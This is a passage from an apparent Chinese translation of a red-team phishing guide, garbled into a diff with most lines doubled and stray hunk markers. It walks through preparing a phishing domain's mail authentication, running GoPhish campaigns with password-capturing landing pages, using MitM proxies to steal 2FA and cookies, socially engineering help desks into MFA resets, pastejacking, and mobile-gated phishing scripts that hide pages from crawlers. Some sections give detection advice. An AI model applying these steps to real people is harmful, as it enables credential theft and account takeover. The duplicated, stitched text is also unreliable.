注意即使需要等待一周,你也可以现在完成所有配置。
### 配置反向 DNS (rDNS) 记录
### Configure Reverse DNS (rDNS) record
设置一个 rDNS (PTR) 记录,将 VPS 的 IP 地址反向解析到域名。
设置一个 rDNS (PTR) 记录,将 VPS 的 IP 地址解析到域名。
### Sender Policy Framework (SPF) 记录
### Sender Policy Framework (SPF) Record
你必须 **为新域名配置 SPF record**。如果你不知道什么是 SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf)。
你必须 **configure a SPF record for the new domain**。如果你不知道什么是 SPF 记录 [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf)。
你可以使用 [https://www.spfwizard.net/](https://www.spfwizard.net) 来生成你的 SPF policy使用 VPS 机器的 IP
你可以使用 https://www.spfwizard.net/ 来生成你的 SPF 策略(使用 VPS 的 IP
![](<../../images/image (1037).png>)
这是必须在域名的 TXT record 中设置的内容:
This is the content that must be set inside a TXT record inside the domain:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### 基于域的邮件身份验证、报告与一致性 (DMARC) 记录
### 基于域的消息认证、报告与一致性 (DMARC) 记录
你必须为新域名**配置 DMARC 记录**。如果你不知道什么是 DMARC 记录,请[**阅读此页**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。
您必须为新域**配置 DMARC 记录**。如果您不知道什么是 DMARC 记录,[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。
需要创建一个新的 DNS TXT 记录,主机名指向 `_dmarc.<domain>`,内容如下:
需要创建一个新的 DNS TXT 记录,主机名指向 `_dmarc.<domain>`,内容如下:
```bash
v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
### 域名密钥识别邮件 (DKIM)
你必须为新域名**配置 DKIM**。如果你不知道什么是 DMARC 记录,[**阅读此页**](../../network-services-pentesting/pentesting-smtp/index.html#dkim)。
你必须为新域名**配置 DKIM**。如果你不知道什么是 DMARC 记录,[**阅读此页**](../../network-services-pentesting/pentesting-smtp/index.html#dkim)。
本教程基于: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP]
> 你需要将 DKIM 密钥生成的两个 B64 值连接在一起:
> 你需要将 DKIM 密钥生成的两个 B64 值连接起
>
> ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ```
### 测试你的邮件配置
### 测试你的邮件配置
你可以使用 [https://www.mail-tester.com/](https://www.mail-tester.com/) 来完成。\
只需访问该页面并发送一封邮件到他们提供的地址
你可以使用 [https://www.mail-tester.com/](https://www.mail-tester.com) 来完成。
只需访问该页面并向他们提供的地址发送一封电子邮件
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
你也可以通过`check-auth@verifier.port25.com` 发送邮件来**检查你的邮件配置**,并**读取响应**(为此你需要**打开**端口 **25**,并在以 root 身份发送邮件时查看文件 _/var/mail/root_ 中的响应)。\
检查你是否通过所有测试:
你也可以通过发送邮件到 `check-auth@verifier.port25.com` 来**检查你的电子邮件配置**,并**读取响应**(为此你需要**打开** port **25**,如果你以 root 身份发送邮件,则在文件 _/var/mail/root_ 中查看响应)。\
检查你是否通过所有测试:
```bash
==========================================================
Summary of Results
@ -288,39 +287,39 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
你也可以向你控制的 **Gmail** 发送消息,并在你的 Gmail 收件箱中查看 **emails headers**`Authentication-Results` header 字段中应看到 `dkim=pass`
你也可以向你控制的 **Gmail 帐户发送一封消息**,并在你的 Gmail 收件箱中检查 **电子邮件的 headers**`dkim=pass` 应该出现`Authentication-Results` header 字段中。
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### 从 Spamhouse 黑名单移除
### 从 Spamhouse 黑名单移除
页面 [www.mail-tester.com](https://www.mail-tester.com) 可以指示您的域名是否被 Spamhouse 阻止。您可以在 [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) 请求将您的域名/IP 移除。
The page [www.mail-tester.com](https://www.mail-tester.com) 可以告诉你你的域名是否被 spamhouse 阻止。你可以在以下地址请求移除你的域名/IP [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### 从 Microsoft 黑名单移除
### 从 Microsoft 黑名单移除
您可以在 [https://sender.office.com/](https://sender.office.com) 请求将您的域名/IP 移除
​​你可以在 [https://sender.office.com/](https://sender.office.com) 请求移除你的域名/IP
## 创建并启动 GoPhish 活动
### 发送配置
- 为发送者配置设置一个用于识别的**名称**
- 决定将使用哪个账户发送钓鱼邮件。建议: _noreply, support, servicedesk, salesforce..._
- 用户名和密码可以留空,但请务必勾选 Ignore Certificate Errors
- 决定你将使用哪个账户发送 phishing 邮件。建议:_noreply, support, servicedesk, salesforce..._
- 用户名和密码可以留空,但请确保勾选 Ignore Certificate Errors
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> 建议使用 "**Send Test Email**" 功能来测试一切是否正常。\
> 我建议**测试邮件发送到 10min mails 地址**,以避免在测试时被列入黑名单。
> 建议使用“**Send Test Email**”功能来测试一切是否正常。\
> 我建议**测试邮件发送到 10min mails 地址**,以避免在测试时被列入黑名单。
### 邮件模板
- 为模板设置一个用于识别的**名称**
- 然后写一个**主题**(不要奇怪的内容,只写普通邮件中会出现的内容)
- 确保已勾选 "**Add Tracking Image**"
- 然后填写**主题**(不要太奇怪,写一个你在普通邮件中会预期看到的内容)
- 确保已勾选“**Add Tracking Image**”
- 编写**邮件模板**(你可以像下面示例那样使用变量):
```html
<html>
@ -340,37 +339,37 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
请注意,**为了增加邮件的可信度**,建议使用来自客户邮件中的某些签名。建议:
请注意,**为了增加邮件的可信度**,建议使用来自目标客户邮件中的某些签名。建议:
- 给一个**不存在的地址**发送邮件并检查回复中是否有任何签名。
- 搜索像 info@ex.com、press@ex.com 或 public@ex.com 这样的**公开邮箱**,向其发送邮件并等待回复。
- 发送一封邮件到一个**不存在的地址**并检查回复中是否包含任何签名。
- 搜索诸如 info@ex.com、press@ex.com 或 public@ex.com 等**公开邮箱**,向其发送邮件并等待回复。
- 尝试联系一些**已发现的有效**邮箱并等待回复。
![](<../../images/image (80).png>)
> [!TIP]
> Email Template 还允许**附加要发送的文件**。如果你还想通过某些特制的文件/文档窃取 NTLM 挑战,请[阅读此页](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
> Email Template 还允许 **附加要发送的文件**。如果你还想通过某些特制的文件/文档窃取 NTLM challenges,请[阅读此页](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
### Landing Page
- 填写一个**名称**
- **编写网页的 HTML 代码**。注意你可以**导入**网页。
- 勾选 **Capture Submitted Data** 和 **Capture Passwords**
- **编写网页的 HTML 代码**。注意你可以 **导入** 网页。
- 勾选 **“Capture Submitted Data”** 和 **“Capture Passwords”**
- 设置一个**重定向**
![](<../../images/image (826).png>)
> [!TIP]
> 通常你需要修改 HTML 代码并在本地进行一些测试(可能使用某些 Apache 服务器),**直到满意为止。** 然后,把该 HTML 代码写入文本框。\
> 注意,如果你需要为 HTML 使用一些静态资源(例如一些 CSS 和 JS 文件),可以将它们保存在 _**/opt/gophish/static/endpoint**_,然后通过 _**/static/\<filename>**_ 访问它们。
> 通常你需要在本地修改 HTML 代码并进行一些测试(也许使用 Apache 服务器)**直到满意为止。** 然后,将该 HTML 代码写入文本框。\
> 注意,如果你需要为 HTML 使用某些静态资源(例如一些 CSS 和 JS 页面),你可以将它们保存到 _**/opt/gophish/static/endpoint**_,然后通过 _**/static/\<filename>**_ 访问它们。
> [!TIP]
> 对于重定向,你可以将用户**重定向到受害者的合法主页面**,或者例如重定向到 _/static/migration.html_,显示一个**旋转加载(**[**https://loading.io/**](https://loading.io)**)持续 5 秒,然后提示操作成功**。
> 对于重定向,你可以**将用户重定向到受害者的真实主站点**,或者将其重定向到 _/static/migration.html_,例如放置一个 **旋转加载(**[**https://loading.io/**](https://loading.io)**)持续 5 秒,然后提示流程已成功**。
### Users & Groups
- 设置一个名称
- **导入数据**(注意:要使用示例模板,你需要为每个用户提供 firstname、last name 和 email address
- **导入数据**(注意:为了使用示例模板,你需要每个用户的 firstname、last name 和 email address
![](<../../images/image (163).png>)
@ -378,18 +377,19 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
最后,创建一个 campaign选择名称、email template、landing page、URL、sending profile 和 group。注意 URL 将是发送给受害者的链接。
注意 **Sending Profile 允许发送测试邮件以查看最终钓鱼邮件的样子**
注意 **Sending Profile 允许发送测试邮件以查看最终 phishing 邮件的外观**
![](<../../images/image (192).png>)
> [!TIP]
> 我建议将测试邮件发送到 10min mails 地址,以避免测试时被列入黑名单。
> 我建议将测试邮件发送到 10min mails addresses以避免在测试时被列入黑名单。
一切就绪后,直接启动 campaign
一切就绪后,启动 campaign
## Website Cloning
如果出于任何原因你想克隆网站,请查看以下页面:
如果出于任何原因你想要克隆网站,请查看以下页面:
{{#ref}}
clone-a-website.md
@ -397,8 +397,9 @@ clone-a-website.md
## Backdoored Documents & Files
在一些钓鱼评估(主要是 Red Teams你可能还希望**发送包含某种后门的文件**(可能是 C2或只是某些会触发身份验证的内容。\
查看以下页面获取一些示例:
在一些 phishing 评估(主要是 Red Teams你可能还想**发送包含某种后门的文件**(可能是 C2或者只是触发一次认证的东西。\
请查看以下页面获取一些示例:
{{#ref}}
phishing-documents.md
@ -408,52 +409,53 @@ phishing-documents.md
### Via Proxy MitM
述攻击很巧妙,因为你是假冒真实网站并收集用户提交的信息。不幸的是,如果用户没有输入正确的密码,或你伪造的应用启用了 2FA**这些信息将无法让你冒充被钓用户**。
面的攻击相当巧妙,因为你伪造了一个真实的网站并收集用户提交的信息。不幸的是,如果用户没有输入正确的密码,或者你伪造的应用配置了 2FA**这些信息将不足以让你冒充被诱骗的用户**。
这时像 [**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper) 和 [**muraena**](https://github.com/muraenateam/muraena) 这样的工具就很有用。该类工具会让你生成一个 MitM 风格的攻击。基本流程如下:
这时像 [**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper) 和 [**muraena**](https://github.com/muraenateam/muraena) 这样的工具就很有用。该类工具可以让你生成类似 MitM 的攻击。基本流程如下:
1. 你**仿真实网页的登录**表单
2. 用户把**凭证**发送到你的伪页面,工具会把这些凭证转发到真实网页,**检查凭证是否有效**。
3. 如果账户配置了 **2FA**MitM 页面会请求该项,一旦**用户输入**,工具会把它发送到真实网页。
4. 一旦用户认证,你(作为攻击者)将**捕获凭证、2FA、cookie 以及在工具行 MitM 期间的所有交互信息**。
1. 你**仿真实网页的登录表单**。
2. 用户将他的**凭证**发送到你的伪造页面,同时该工具会将这些凭证转发到真实网页,**检查凭证是否有效**。
3. 如果账号配置了 **2FA**MitM 页面会要求输入,一旦**用户输入**,该工具会将其发送到真实网页。
4. 一旦用户认证通过,你(作为攻击者)将**捕获凭证、2FA、cookie 以及在工具行 MitM 期间的所有交互信息**。
### Via VNC
如果你不是将受害者发送到一个恶意且外观相同的页面,而是把他带到一个**通过浏览器连接到真实网页的 VNC 会话**中呢你将能看到他所做的一切窃取密码、MFA、cookie……\
你可以使用 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) 来实现。
如果不是**把受害者引导到一个恶意页面**(外观与原始页面相同),而是将其引导到一个**通过浏览器连接到真实网页的 VNC 会话**,那会如何?你将能够看到他所做的操作,窃取密码、使用的 MFA、cookie 等。\
你可以使用 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) 来实现这一点
## Detecting the detection
显然,判断是否被发现的最好方法之一是**在黑名单中搜索你的域名**。如果出现列出,说明你的域名被检测为可疑。\
一个简单的方式是使用 [https://malwareworld.com/](https://malwareworld.com) 检查你的域名是否出现在任何黑名单中。
显然,判断自己是否已被识破的最佳方法之一是**在黑名单中搜索你的域名**。如果它出现在列表中,说明你的域名被检测为可疑。\
一种简单的方法是使用 [https://malwareworld.com/](https://malwareworld.com) 来检查你的域名是否出现在任何黑名单中。
不过,还有其他方法可以判断受害者是否**正在主动寻找网络上的可疑 phishing 活动**,如以下内容所述:
此外,还有其他方法可以判断受害者是否**主动在野外寻找可疑钓鱼活动**,如以下文档所述:
{{#ref}}
detecting-phising.md
{{#endref}}
你可以**购买一个与受害者域名非常相似的域名**,并/或为你控制的域的**子域生成证书**,其中包含受害者域名的**关键词**。如果**受害者**对这些域有任何 DNS 或 HTTP 交互,你就会知道他**正在主动搜索**可疑域名,这时你需要非常隐蔽
你可以**购买与受害者域名非常相似的域名**,和/或为你控制的某个域名的**子域生成证书**,该子域名包含受害者域名的**关键字**。如果**受害者**对这些域名执行任何形式的 **DNS 或 HTTP 交互**,你就会知道他**正在主动搜索**可疑域名,那时你需要非常隐蔽地行动
### Evaluate the phishing
使用 [**Phishious** ](https://github.com/Rices/Phishious) 来评估你的邮件是否会进入垃圾邮件文件夹、被阻断或成功送达。
使用 [**Phishious**](https://github.com/Rices/Phishious) 来评估你的邮件是否会被判为垃圾邮件、被阻断或成功到达。
## High-Touch Identity Compromise (Help-Desk MFA Reset)
现代入侵组织越来越多地完全跳过邮件诱饵,直接针对 service-desk / identity-recovery 工作流以击败 MFA。该攻击完全属于 "living-off-the-land":一旦操作者获得有效凭证,他们使用内置管理工具横向移动——不需要恶意软件。
现代入侵组织越来越多地完全跳过邮件诱饵,直接针对服务台/身份恢复流程以绕过 MFA。该攻击完全依靠“living-off-the-land”一旦操作员拥有有效凭据他们就使用内置的管理工具进行横向移动——无需恶意软件。
### Attack flow
1. Recon the victim
* 从 LinkedIn、数据泄露、公开 GitHub 等处收集个人公司信息。
* 确定高价值身份高管、IT、财务并枚举密码 / MFA 重置的**确切 help-desk 流程**。
* 从 LinkedIn、数据泄露、公开 GitHub 等处收集个人公司信息。
* 识别高价值身份高管、IT、财务并枚举用于密码/MFA 重置的**确切 help-desk 流程**。
2. Real-time social engineering
* 通过电话、Teams 或聊天联系 help-desk冒充目标通常使用 **spoofed caller-ID****cloned voice**)。
* 提供先前收集的 PII 通过基于知识的验证。
* 说服代理**重置 MFA secret**或对已注册的手机号执行**SIM-swap**。
* 使用电话、Teams 或聊天与 help-desk 联系,同时冒充目标(通常使用 **spoofed caller-ID****克隆语音**)。
* 提供先前收集的 PII 通过基于知识的验证。
* 说服客服代理**重置 MFA secret**或对已注册的手机号执行**SIM-swap**。
3. Immediate post-access actions (≤60 min in real cases)
* 通过任何 web SSO 门户建立立足点。
* 使用内置工具枚举 AD / AzureAD无需投放二进制文件):
* 使用内置工具枚举 AD / AzureAD不放置任何二进制文件):
```powershell
# list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -464,56 +466,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local>
```
* 使用 **WMI**、**PsExec** 或环境中已被白名单的合法 **RMM** 代理进行横向移动。
* 使用 **WMI**、**PsExec** 或环境中已被列入白名单的合法 **RMM** 代理进行横向移动。
### Detection & Mitigation
* 将 help-desk 身份恢复视为一种**特权操作**——要求 step-up auth 和经理批准
* 部署 **Identity Threat Detection & Response (ITDR)** / **UEBA** 规则,触发以下告警
* MFA 方法更改 + 来自新设备/新地理位置的身份验证。
* 同一主体(用户→管理员)立即提升权限
* 记录 help-desk 通话并在任何重置前强制回拨到已注册的号码。
* 实施 **Just-In-Time (JIT) / Privileged Access**使新重置的账户**不会**自动继承高权限令牌。
* 将 help-desk 身份恢复视为**特权操作privileged operation**——要求 step-up auth 与经理审批
* 部署 **Identity Threat Detection & Response (ITDR)** / **UEBA** 规则以触发告警,例如
* MFA 方法被更改 + 来自新设备/新地理位置的认证。
* 同一主体的即时权限提升user → admin
* 记录 help-desk 通话并在任何重置前强制**回拨到已注册的号码**
* 实施 **Just-In-Time (JIT) / Privileged Access**以便新重置的账户**不会**自动继承高权限令牌。
---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns
传统团队通过大规模攻击抵消高触达操作的成本,将**搜索引擎和广告网络变成投放渠道**。
一些普遍的团伙通过大规模攻击来抵消高触达操作的成本,将**搜索引擎和广告网络作为投放渠道**。
1. **SEO poisoning / malvertising** 将一个假结果(例如 chromium-update[.]site推到搜索广告顶部。
2. 受害者下载一个小型的**第一阶段 loader**(通常是 JS/HTA/ISO。Unit 42 见过的示例:
1. **SEO poisoning / malvertising** 将一个虚假结果(例如 `chromium-update[.]site`)推上搜索广告顶部。
2. 受害者下载一个小型的**第一阶段加载器**(通常为 JS/HTA/ISO。Unit 42 见过的示例:
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. Loader 外泄浏览器 cookie + 凭证数据库,然后拉取一个**静默 loader**,该 loader 实时决定是否部署:
3. 加载器外泄浏览器 cookie + 凭证数据库,然后拉取一个**静默加载器**,该加载器会实时决定是否部署:
* RAT例如 AsyncRAT、RustDesk
* ransomware / wiper
* 持久化组件(registry Run key + scheduled task
* 持久化组件(注册表 Run 键 + 计划任务
### Hardening tips
* 阻止新注册域名并在搜索广告以及电子邮件上实施**高级 DNS / URL 过滤**
* 将软件安装限制为签名的 MSI / Store 包,策略上禁止执行 `HTA``ISO``VBS`
* 监控浏览器派生子进程打开安装程序的情况
* 阻断新注册域名,并在搜索广告以及电子邮件上强制实施 **Advanced DNS / URL Filtering**
* 限制软件安装为签名的 MSI / Store 包,策略上禁止执行 `HTA``ISO``VBS`
* 监控浏览器的子进程打开安装程序
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
* 搜索第一阶段 loader 常滥用的 LOLBins例如 `regsvr32``curl``mshta`)。
* 搜索常被第一阶段加载器滥用的 LOLBins例如 `regsvr32``curl``mshta`)。
---
## AI-Enhanced Phishing Operations
攻击者现在将 **LLM & voice-clone APIs** 链接起来,实现完全个性化的诱饵和实时交互。
攻击者现在将 **LLM** 与 语音克隆 API 串联起来,用于完全个性化的诱饵和实时交互。
| Layer | Example use by threat actor |
|-------|-----------------------------|
|Automation|生成并发送 >100k 封邮件/SMS使用随机化措辞和跟踪链接。|
|Generative AI|生成一次性邮件,引用公开的 M&A、社交媒体中的内部玩笑回拨诈骗中使用深度伪造的 CEO 声音。|
|Agentic AI|自动注册域名、爬取开源情报、当受害者点击但未提交凭证时自动生成后续邮件。|
|Automation|生成并发送 >100 k 封带有随机措辞与跟踪链接的邮件/SMS。|
|Generative AI|生成一次性邮件,引用公开的并购信息、来自社交媒体的内部笑话;在回拨诈骗中使用 CEO 的 deep-fake 语音。|
|Agentic AI|自动注册域名、爬取开源情报、当受害者点击但未提交凭证时自动制作后续邮件。|
**Defence:**
• 添加 **动态横幅**,突出显示来自不受信任自动化的消息(通过 ARC/DKIM 异常)。
• 对高风险电话请求部署 **voice-biometric challenge phrases**。
• 在安全意识培训中持续模拟 AI 生成的诱饵——静态模板已过时。
**防御:**
• 添加 **动态横幅**,突出显示来自不受信任自动化发送的消息(通过 ARC/DKIM 异常检测)。
• 对高风险电话请求部署 **语音生物识别挑战短语**。
• 在安全意识培训中持续模拟 AI 生成的诱饵 —— 静态模板已过时。
See also agentic browsing abuse for credential phishing:
@ -524,19 +526,19 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
---
## MFA Fatigue / Push Bombing Variant Forced Reset
除了经典的 push-bombing 操作外,操作者也会在 help-desk 通话中**强制进行新的 MFA 注册**,使用户原有的令牌失效。随后出现的任何登录提示对受害者看起来都是合法的。
除了经典的 push-bombing,操作者也会在 help-desk 通话中直接**强制新的 MFA 注册**,使用户现有的令牌失效。任何随后出现的登录提示对受害者来说都看起来是合法的。
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
监控 AzureAD/AWS/Okta 事件,当 **`deleteMFA` + `addMFA`** 在 **同一 IP** 几分钟内发生
监控 AzureAD/AWS/Okta 事件,当 **`deleteMFA` + `addMFA`** 在同一 IP 几分钟内发生。
## Clipboard Hijacking / Pastejacking
攻击者可以在被入侵或错拼域名typosquatted的网页上悄悄将恶意命令复制到受害者的剪贴板然后诱使用户在 **Win + R**、**Win + X** 或终端窗口中粘贴,从而在无需任何下载或附件的情况下执行任意代码
攻击者可以从被入侵或 typosquatted 的网页静默地将恶意命令复制到受害者的 clipboard然后诱导用户将其粘贴到 **Win + R**、**Win + X** 或 terminal 窗口中,从而在无需任何 download 或 attachment 的情况下执行 arbitrary code
{{#ref}}
@ -550,12 +552,40 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md
{{#endref}}
## 参考资料
### Mobilegated phishing to evade crawlers/sandboxes
运营者越来越多地在 phishing 流程后设置简单的设备检测,使 desktop crawlers 无法到达最终页面。常见模式是一个小脚本检测是否有 touch-capable DOM 并将结果 post 到 server endpointnonmobile clients 会收到 HTTP 500或空白页而 mobile users 则看到完整流程。
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` 逻辑 (简化):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Server behaviour often observed:
- 在首次加载时设置会话 cookie。
- Accepts `POST /detect {"is_mobile":true|false}`.
- 在随后的 GET 请求中当 `is_mobile=false` 时返回 500或占位页仅在 `true` 时提供 phishing。
Hunting and detection heuristics:
- urlscan query: `filename:"detect_device.js" AND page.status:500`
- Web 遥测:序列 `GET /static/detect_device.js``POST /detect` → 非移动设备返回 HTTP 500真实移动受害路径返回 200 并随后返回 HTML/JS。
- 阻止或审查仅基于 `ontouchstart` 或类似设备检测来决定内容的页面。
Defence tips:
- 使用带有移动端指纹且启用 JS 的爬虫来揭示受限内容。
- 对新注册域名上在 `POST /detect` 之后出现的可疑 500 响应发出警报。
## References
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}}